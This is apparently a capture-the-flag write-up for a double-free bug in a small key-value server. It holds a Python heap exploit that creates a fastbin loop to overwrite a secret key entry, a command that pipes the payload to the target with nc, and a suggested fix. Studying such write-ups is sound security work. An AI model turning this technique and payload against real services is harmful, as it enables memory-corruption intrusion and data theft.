Analysis of the bug =================== The code that checks for duplicate keys calls `free(e->value)` but doesn't set `e->value` to `NULL`. This leads to a double-free bug when combined with the `c` command, that invokes `cleanup()`. Attack plan =========== The idea is to overwrite the `:secret0` key with an attacker-chosen value that doesn't start with `:`, so that the secret value can be later extracted with a simple `s` command. Note that the program uses Doug Lea's malloc, so the key can be overwritten very easily by exploiting the bug in the canonical way. Attack implementation ===================== We exploit the double-free bug to create a loop in a fastbin queue, then we exploit the loop to trick the program into allocating a chunk that overlaps `entries[0]`. Since the program is not PIE, we can obtain the address of `entries[0]` from a copy of the binary: ```sh nm server | grep entries ``` We obtain 0x407080. Now we write the following in an `xpl.py` file: ```python import sys import struct entries_0 = 0x407080 new_secret = b'xsecret0' # trigger the bug (we know that there already is a ':secret0' key) o = b'n8\n' o+= b':secret0' + b'A'*8 # create the fastbin loop o+= b'c\n' # overwrite fd with &entries[0] - 16 o+= b'n8\n' o+= b'B'*8 + struct.pack('Q', entries_0 - 16) # copy &entries[0] - 16 in the fastbin head o+= b'n8\n' o+= b'C'*8 + b'D'*8 # overwrite entries[0] with new_secret o+= b'n8\n' o+= b'E'*8 + new_secret # search new_secret o+= b's' + new_secret + b'\n' sys.stdout.buffer.write(o) ``` Then we can obtain the flag with ```sh PYTHONIOENCODING=iso-8859-1 python3 xpl.py | nc $HOST $PORT ``` Suggested fix ============= After `free(s->value)` we also need `s->value = NULL`.